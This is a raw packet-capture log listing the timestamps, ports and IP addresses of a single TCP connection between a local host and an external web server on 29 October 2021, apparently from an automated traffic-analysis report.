Oct 29, 2021 15:30:59.159476995 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:30:59.159492970 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:30:59.159496069 CEST	49841	80	192.168.2.7	194.180.174.181
Oct 29, 2021 15:30:59.159506083 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:30:59.159527063 CEST	49841	80	192.168.2.7	194.180.174.181
Oct 29, 2021 15:30:59.159529924 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:30:59.159544945 CEST	49841	80	192.168.2.7	194.180.174.181
Oct 29, 2021 15:30:59.159549952 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:30:59.159589052 CEST	49841	80	192.168.2.7	194.180.174.181
Oct 29, 2021 15:30:59.159768105 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:30:59.159785986 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:30:59.159801960 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:30:59.159818888 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:30:59.159831047 CEST	49841	80	192.168.2.7	194.180.174.181
Oct 29, 2021 15:30:59.159864902 CEST	49841	80	192.168.2.7	194.180.174.181
Oct 29, 2021 15:30:59.159889936 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:30:59.159909010 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:30:59.159928083 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:30:59.159950972 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:30:59.159956932 CEST	49841	80	192.168.2.7	194.180.174.181
Oct 29, 2021 15:30:59.159969091 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:30:59.159986019 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:30:59.159996033 CEST	49841	80	192.168.2.7	194.180.174.181
Oct 29, 2021 15:30:59.160027027 CEST	49841	80	192.168.2.7	194.180.174.181
Oct 29, 2021 15:30:59.160305977 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:30:59.160325050 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:30:59.160341978 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:30:59.160356998 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:30:59.160382032 CEST	49841	80	192.168.2.7	194.180.174.181
Oct 29, 2021 15:30:59.160417080 CEST	49841	80	192.168.2.7	194.180.174.181
Oct 29, 2021 15:30:59.160509109 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:30:59.160531044 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:30:59.160547018 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:30:59.160562992 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:30:59.160578012 CEST	49841	80	192.168.2.7	194.180.174.181
Oct 29, 2021 15:30:59.160600901 CEST	49841	80	192.168.2.7	194.180.174.181
Oct 29, 2021 15:30:59.204799891 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:30:59.204826117 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:30:59.204844952 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:30:59.204904079 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:30:59.204921007 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:30:59.204937935 CEST	49841	80	192.168.2.7	194.180.174.181
Oct 29, 2021 15:30:59.204938889 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:30:59.204955101 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:30:59.204972029 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:30:59.204997063 CEST	49841	80	192.168.2.7	194.180.174.181
Oct 29, 2021 15:30:59.205019951 CEST	49841	80	192.168.2.7	194.180.174.181
Oct 29, 2021 15:30:59.205327988 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:30:59.205349922 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:30:59.205367088 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:30:59.205384016 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:30:59.205399990 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:30:59.205415964 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:30:59.205427885 CEST	49841	80	192.168.2.7	194.180.174.181
Oct 29, 2021 15:30:59.205483913 CEST	49841	80	192.168.2.7	194.180.174.181
Oct 29, 2021 15:30:59.205491066 CEST	49841	80	192.168.2.7	194.180.174.181
Oct 29, 2021 15:30:59.205516100 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:30:59.205535889 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:30:59.205643892 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:30:59.205651045 CEST	49841	80	192.168.2.7	194.180.174.181
Oct 29, 2021 15:30:59.205663919 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:30:59.205681086 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:30:59.205698967 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:30:59.205708981 CEST	49841	80	192.168.2.7	194.180.174.181
Oct 29, 2021 15:30:59.205753088 CEST	49841	80	192.168.2.7	194.180.174.181
Oct 29, 2021 15:30:59.205770969 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:30:59.205796003 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:30:59.205812931 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:30:59.205828905 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:30:59.205838919 CEST	49841	80	192.168.2.7	194.180.174.181
Oct 29, 2021 15:30:59.205846071 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:30:59.205868006 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:30:59.205878019 CEST	49841	80	192.168.2.7	194.180.174.181
Oct 29, 2021 15:30:59.205919027 CEST	49841	80	192.168.2.7	194.180.174.181
Oct 29, 2021 15:30:59.206259966 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:30:59.206284046 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:30:59.206315041 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:30:59.206331968 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:30:59.206355095 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:30:59.206362009 CEST	49841	80	192.168.2.7	194.180.174.181
Oct 29, 2021 15:30:59.206371069 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:30:59.206433058 CEST	49841	80	192.168.2.7	194.180.174.181
Oct 29, 2021 15:30:59.206439018 CEST	49841	80	192.168.2.7	194.180.174.181
Oct 29, 2021 15:30:59.206482887 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:30:59.206502914 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:30:59.206520081 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:30:59.206536055 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:30:59.206562996 CEST	49841	80	192.168.2.7	194.180.174.181
Oct 29, 2021 15:30:59.206600904 CEST	49841	80	192.168.2.7	194.180.174.181
Oct 29, 2021 15:30:59.206630945 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:30:59.206653118 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:30:59.206676960 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:30:59.206702948 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:30:59.206720114 CEST	49841	80	192.168.2.7	194.180.174.181
Oct 29, 2021 15:30:59.206727028 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:30:59.206748962 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:30:59.206751108 CEST	49841	80	192.168.2.7	194.180.174.181
Oct 29, 2021 15:30:59.206765890 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:30:59.206783056 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:30:59.206804037 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:30:59.206810951 CEST	49841	80	192.168.2.7	194.180.174.181
Oct 29, 2021 15:30:59.206819057 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:30:59.206836939 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:30:59.206846952 CEST	49841	80	192.168.2.7	194.180.174.181
Oct 29, 2021 15:30:59.206852913 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:30:59.206866980 CEST	49841	80	192.168.2.7	194.180.174.181
Oct 29, 2021 15:30:59.206901073 CEST	49841	80	192.168.2.7	194.180.174.181
Oct 29, 2021 15:30:59.251674891 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:30:59.251703978 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:30:59.251715899 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:30:59.251732111 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:30:59.251744032 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:30:59.251768112 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:30:59.251790047 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:30:59.251802921 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:30:59.251816988 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:30:59.251833916 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:30:59.251861095 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:30:59.251883030 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:30:59.251899958 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:30:59.251916885 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:30:59.251934052 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:30:59.251935005 CEST	49841	80	192.168.2.7	194.180.174.181
Oct 29, 2021 15:30:59.251950979 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:30:59.251967907 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:30:59.251983881 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:30:59.252000093 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:30:59.252012968 CEST	49841	80	192.168.2.7	194.180.174.181
Oct 29, 2021 15:30:59.252021074 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:30:59.252043009 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:30:59.252048016 CEST	49841	80	192.168.2.7	194.180.174.181
Oct 29, 2021 15:30:59.252063990 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:30:59.252074957 CEST	49841	80	192.168.2.7	194.180.174.181
Oct 29, 2021 15:30:59.252080917 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:30:59.252099037 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:30:59.252119064 CEST	49841	80	192.168.2.7	194.180.174.181
Oct 29, 2021 15:30:59.252119064 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:30:59.252147913 CEST	49841	80	192.168.2.7	194.180.174.181
Oct 29, 2021 15:30:59.252180099 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:30:59.252547979 CEST	49841	80	192.168.2.7	194.180.174.181
Oct 29, 2021 15:30:59.253051996 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:30:59.253072977 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:30:59.253088951 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:30:59.253106117 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:30:59.253123045 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:30:59.253138065 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:30:59.253149986 CEST	49841	80	192.168.2.7	194.180.174.181
Oct 29, 2021 15:30:59.253159046 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:30:59.253176928 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:30:59.253196001 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:30:59.253220081 CEST	49841	80	192.168.2.7	194.180.174.181
Oct 29, 2021 15:30:59.253222942 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:30:59.253245115 CEST	49841	80	192.168.2.7	194.180.174.181
Oct 29, 2021 15:30:59.253246069 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:30:59.253272057 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:30:59.253274918 CEST	49841	80	192.168.2.7	194.180.174.181
Oct 29, 2021 15:30:59.253294945 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:30:59.253314972 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:30:59.253338099 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:30:59.253345013 CEST	49841	80	192.168.2.7	194.180.174.181
Oct 29, 2021 15:30:59.253364086 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:30:59.253381968 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:30:59.253393888 CEST	49841	80	192.168.2.7	194.180.174.181
Oct 29, 2021 15:30:59.253420115 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:30:59.253429890 CEST	49841	80	192.168.2.7	194.180.174.181
Oct 29, 2021 15:30:59.253438950 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:30:59.253453970 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:30:59.253470898 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:30:59.253488064 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:30:59.253494024 CEST	49841	80	192.168.2.7	194.180.174.181
Oct 29, 2021 15:30:59.253547907 CEST	49841	80	192.168.2.7	194.180.174.181
Oct 29, 2021 15:30:59.298352003 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:30:59.298382998 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:30:59.298404932 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:30:59.298424959 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:30:59.298441887 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:30:59.298455954 CEST	49841	80	192.168.2.7	194.180.174.181
Oct 29, 2021 15:30:59.298458099 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:30:59.298474073 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:30:59.298496008 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:30:59.298512936 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:30:59.298531055 CEST	49841	80	192.168.2.7	194.180.174.181
Oct 29, 2021 15:30:59.298533916 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:30:59.298556089 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:30:59.298562050 CEST	49841	80	192.168.2.7	194.180.174.181
Oct 29, 2021 15:30:59.298579931 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:30:59.298590899 CEST	49841	80	192.168.2.7	194.180.174.181
Oct 29, 2021 15:30:59.298604012 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:30:59.298624039 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:30:59.298634052 CEST	49841	80	192.168.2.7	194.180.174.181
Oct 29, 2021 15:30:59.298640966 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:30:59.298656940 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:30:59.298672915 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:30:59.298681021 CEST	49841	80	192.168.2.7	194.180.174.181
Oct 29, 2021 15:30:59.298691034 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:30:59.298706055 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:30:59.298721075 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:30:59.298724890 CEST	49841	80	192.168.2.7	194.180.174.181
Oct 29, 2021 15:30:59.298737049 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:30:59.298752069 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:30:59.298768044 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:30:59.298777103 CEST	49841	80	192.168.2.7	194.180.174.181
Oct 29, 2021 15:30:59.298784018 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:30:59.298820972 CEST	49841	80	192.168.2.7	194.180.174.181
Oct 29, 2021 15:30:59.298842907 CEST	49841	80	192.168.2.7	194.180.174.181
Oct 29, 2021 15:30:59.299866915 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:30:59.299899101 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:30:59.299923897 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:30:59.299958944 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:30:59.299989939 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:30:59.300019979 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:30:59.300050020 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:30:59.300079107 CEST	49841	80	192.168.2.7	194.180.174.181
Oct 29, 2021 15:30:59.300080061 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:30:59.300102949 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:30:59.300122023 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:30:59.300128937 CEST	49841	80	192.168.2.7	194.180.174.181
Oct 29, 2021 15:30:59.300143003 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:30:59.300162077 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:30:59.300183058 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:30:59.300189972 CEST	49841	80	192.168.2.7	194.180.174.181
Oct 29, 2021 15:30:59.300203085 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:30:59.300223112 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:30:59.300230026 CEST	49841	80	192.168.2.7	194.180.174.181
Oct 29, 2021 15:30:59.300244093 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:30:59.300263882 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:30:59.300271988 CEST	49841	80	192.168.2.7	194.180.174.181
Oct 29, 2021 15:30:59.300286055 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:30:59.300295115 CEST	49841	80	192.168.2.7	194.180.174.181
Oct 29, 2021 15:30:59.300307989 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:30:59.300327063 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:30:59.300333977 CEST	49841	80	192.168.2.7	194.180.174.181
Oct 29, 2021 15:30:59.300347090 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:30:59.300369024 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:30:59.300386906 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:30:59.300390005 CEST	49841	80	192.168.2.7	194.180.174.181
Oct 29, 2021 15:30:59.300407887 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:30:59.300427914 CEST	49841	80	192.168.2.7	194.180.174.181
Oct 29, 2021 15:30:59.300453901 CEST	49841	80	192.168.2.7	194.180.174.181
Oct 29, 2021 15:30:59.345135927 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:30:59.345197916 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:30:59.345266104 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:30:59.345316887 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:30:59.345334053 CEST	49841	80	192.168.2.7	194.180.174.181
Oct 29, 2021 15:30:59.345356941 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:30:59.345380068 CEST	49841	80	192.168.2.7	194.180.174.181
Oct 29, 2021 15:30:59.345395088 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:30:59.345433950 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:30:59.345472097 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:30:59.345518112 CEST	49841	80	192.168.2.7	194.180.174.181
Oct 29, 2021 15:30:59.345530987 CEST	49841	80	192.168.2.7	194.180.174.181
Oct 29, 2021 15:30:59.345608950 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:30:59.345670938 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:30:59.345731974 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:30:59.345748901 CEST	49841	80	192.168.2.7	194.180.174.181
Oct 29, 2021 15:30:59.345781088 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:30:59.345819950 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:30:59.345846891 CEST	49841	80	192.168.2.7	194.180.174.181
Oct 29, 2021 15:30:59.345873117 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:30:59.345921040 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:30:59.345961094 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:30:59.345988989 CEST	49841	80	192.168.2.7	194.180.174.181
Oct 29, 2021 15:30:59.346000910 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:30:59.346018076 CEST	49841	80	192.168.2.7	194.180.174.181
Oct 29, 2021 15:30:59.346039057 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:30:59.346077919 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:30:59.346107960 CEST	49841	80	192.168.2.7	194.180.174.181
Oct 29, 2021 15:30:59.346117020 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:30:59.346148014 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:30:59.346184015 CEST	49841	80	192.168.2.7	194.180.174.181
Oct 29, 2021 15:30:59.346185923 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:30:59.346240997 CEST	49841	80	192.168.2.7	194.180.174.181
Oct 29, 2021 15:30:59.346599102 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:30:59.346642017 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:30:59.346685886 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:30:59.346744061 CEST	49841	80	192.168.2.7	194.180.174.181
Oct 29, 2021 15:30:59.346744061 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:30:59.346808910 CEST	49841	80	192.168.2.7	194.180.174.181
Oct 29, 2021 15:30:59.346828938 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:30:59.346889019 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:30:59.346942902 CEST	49841	80	192.168.2.7	194.180.174.181
Oct 29, 2021 15:30:59.346947908 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:30:59.347001076 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:30:59.347076893 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:30:59.347129107 CEST	49841	80	192.168.2.7	194.180.174.181
Oct 29, 2021 15:30:59.347129107 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:30:59.347183943 CEST	49841	80	192.168.2.7	194.180.174.181
Oct 29, 2021 15:30:59.347184896 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:30:59.347234011 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:30:59.347290993 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:30:59.347343922 CEST	49841	80	192.168.2.7	194.180.174.181
Oct 29, 2021 15:30:59.347363949 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:30:59.347418070 CEST	49841	80	192.168.2.7	194.180.174.181
Oct 29, 2021 15:30:59.347424984 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:30:59.347482920 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:30:59.347543955 CEST	49841	80	192.168.2.7	194.180.174.181
Oct 29, 2021 15:30:59.347543001 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:30:59.347604036 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:30:59.347664118 CEST	49841	80	192.168.2.7	194.180.174.181
Oct 29, 2021 15:30:59.347664118 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:30:59.347721100 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:30:59.347779036 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:30:59.347830057 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:30:59.347836971 CEST	49841	80	192.168.2.7	194.180.174.181
Oct 29, 2021 15:30:59.347867966 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:30:59.347882986 CEST	49841	80	192.168.2.7	194.180.174.181
Oct 29, 2021 15:30:59.347920895 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:30:59.347959042 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:30:59.347975016 CEST	49841	80	192.168.2.7	194.180.174.181
Oct 29, 2021 15:30:59.347995043 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:30:59.348035097 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:30:59.348084927 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:30:59.348094940 CEST	49841	80	192.168.2.7	194.180.174.181
Oct 29, 2021 15:30:59.348128080 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:30:59.348145962 CEST	49841	80	192.168.2.7	194.180.174.181
Oct 29, 2021 15:30:59.348166943 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:30:59.348206043 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:30:59.348242998 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:30:59.348256111 CEST	49841	80	192.168.2.7	194.180.174.181
Oct 29, 2021 15:30:59.348280907 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:30:59.348288059 CEST	49841	80	192.168.2.7	194.180.174.181
Oct 29, 2021 15:30:59.348320007 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:30:59.348356009 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:30:59.348393917 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:30:59.348403931 CEST	49841	80	192.168.2.7	194.180.174.181
Oct 29, 2021 15:30:59.348438978 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:30:59.348439932 CEST	49841	80	192.168.2.7	194.180.174.181
Oct 29, 2021 15:30:59.348514080 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:30:59.348551989 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:30:59.348587990 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:30:59.348598957 CEST	49841	80	192.168.2.7	194.180.174.181
Oct 29, 2021 15:30:59.348625898 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:30:59.348635912 CEST	49841	80	192.168.2.7	194.180.174.181
